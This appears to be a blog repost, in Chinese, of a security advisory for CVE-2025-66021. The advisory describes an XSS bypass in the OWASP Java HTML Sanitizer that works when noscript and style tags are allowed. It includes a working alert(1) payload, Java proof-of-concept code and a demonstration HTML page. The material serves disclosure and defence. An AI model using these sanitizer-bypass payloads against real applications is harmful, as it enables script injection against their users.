OWASP Java HTML净化器存在XSS漏洞:noscript标签与style标签处理不当

本文详细分析了OWASP Java HTML净化器中存在的XSS安全漏洞,该漏洞源于对noscript标签和style标签的不当处理,攻击者可构造特殊payload绕过净化机制,导致跨站脚本攻击风险。

OWASP Java HTML净化器存在XSS漏洞:noscript标签与style标签处理不当

漏洞详情

摘要

研究发现,当HtmlPolicyBuilder允许noscript标签和style标签,并在style标签内使用allowTextIn时,OWASP Java HTML净化器存在XSS漏洞。如果payload经过精心构造,可能绕过CSS净化机制,导致XSS攻击。

详细说明

OWASP Java HTML净化器存在XSS漏洞,这种情况仅在HtmlPolicyBuilder允许noscript和style标签,并在style标签内使用allowTextIn时发生。

以下情况虽然较为边缘,但如果用户将HtmlPolicyBuilder与除noscript外的其他标签结合使用,并允许style标签内的allowTextIn,则净化器可以免受XSS攻击。这种情况的发生与浏览器对noscript标签的解析方式有关。

漏洞验证

创建允许p、noscript、style HTML标签并允许.allowTextIn("style")的HtmlPolicyBuilder。

存在两个非常相似的XSS payload,唯一的区别是一个使用p标签,另一个使用noscript标签。这些payload包含可能易受XSS攻击的script标签,应在净化后被剥离。

  1. <noscript><style></noscript><script>alert(1)</script>
  2. <p><style></p><script>alert(1)</script>

运行以下净化payload的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class main {
    private static final String ALLOWED_HTML_TAGS = "p, noscript, style";

    /**
     * 漏洞描述:
     * OWASP净化器根据定义的白名单HTML标签对用户输入进行净化。
     * 然而,如果HTML元素策略中不允许script标签,在边缘情况下仍可能导致XSS。
     */

    public static void main(String[] args) {
        withAllowedTextAndStyleTag();
    }

    /**
     * 测试用例:易受XSS攻击
     */
    public static void withAllowedTextAndStyleTag() {
        HtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder();
        PolicyFactory policy = htmlPolicyBuilder
                .allowElements(ALLOWED_HTML_TAGS.split("\\s*,\\s*"))
                .allowTextIn("style")
                .toFactory();
        String untrustedHTMLOne = "<noscript><style></noscript><script>alert(1)</script>";
        String untrustedHTMLTwo = "<p><style></p><script>alert(1)</script>";

        System.out.println("PAYLOAD: " + untrustedHTMLOne +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLOne));
        System.out.println("PAYLOAD: " + untrustedHTMLTwo +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLTwo));
    }
}

使用最新库版本:

1
2
3
4
5
<dependency>
    <groupId>com.googlecode.owasp-java-html-sanitizer</groupId>
    <artifactId>owasp-java-html-sanitizer</artifactId>
    <version>20240325.1</version>
</dependency>

POC代码的输出应如下所示:

1
2
3
4
5
PAYLOAD: <noscript><style></noscript><script>alert(1)</script>
SANITIZED OUTPUT: <noscript><style></noscript><script>alert(1)</script></style></noscript>

PAYLOAD: <p><style></p><script>alert(1)</script>
SANITIZED OUTPUT: <p><style></p><script>alert(1)</script></style></p>

净化过程分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
--------------------------| --> style标签后的所有内容被视为CSS,未被净化
PAYLOAD: <noscript><style> {</noscript><script>alert(1)</script>} -> CSS

-----------------------------------| --> 净化后,script标签中的payload保持不变style和noscript标签被关闭
SANITIZED OUTPUT: <noscript><style>{</noscript><script>alert(1)</script>}</style></noscript>

-------------------| --> style标签后的所有内容被视为CSS,未被净化
PAYLOAD: <p><style></p>{<script>alert(1)</script>} -> CSS

--------------------------- | --> 净化后,script标签中的payload保持不变style和p标签被关闭
SANITIZED OUTPUT: <p><style>{</p><script>alert(1)</script>}</style></p>

创建示例HTML页面

创建示例HTML页面并复制步骤5中应生成的净化输出:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>POC OF SANITIZER OUTPUT</title>
</head>
<body>

<!--XSS OUTPUT : <noscript><style></noscript><script>alert(1)</script></style></noscript>-->
<noscript><style></noscript><script>alert(1)</script></style></noscript>

<!-- SAFE OUTPUT -->
<p><style></p><script>alert(1)</script></style></p>

</body>
</html>

在浏览器中打开此HTML页面,应弹出alert。

打开检查元素以了解发生了什么。如果用户仔细观察,会发现结合p标签和style标签的payload不会导致XSS,浏览器将style标签后的所有内容视为CSS。

而结合noscript标签和style标签的payload确实导致了XSS。浏览器解析noscript标签包裹style标签,然后关闭noscript标签,之后的script payload被视为有效的HTML标签并在浏览器中执行,这导致了XSS,这与上一个使用p标签的示例完全不同。

影响

这可能潜在地导致应用程序中的XSS攻击。

参考:https://owasp.org/www-community/attacks/xss/

参考信息

GHSA-g9gq-3pfx-2gw2

技术指标

严重程度

CVSS总体评分

8.6/10

CVSS v4基础指标

  • 攻击向量:网络
  • 攻击复杂度:低
  • 攻击要求:无
  • 所需权限:无
  • 用户交互:被动

脆弱系统影响指标

  • 机密性:高
  • 完整性:高
  • 可用性:无

弱点

CWE-79:在网页生成过程中对输入的不当中和(跨站脚本)

CVE ID

CVE-2025-66021

GHSA ID

GHSA-g9gq-3pfx-2gw2

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计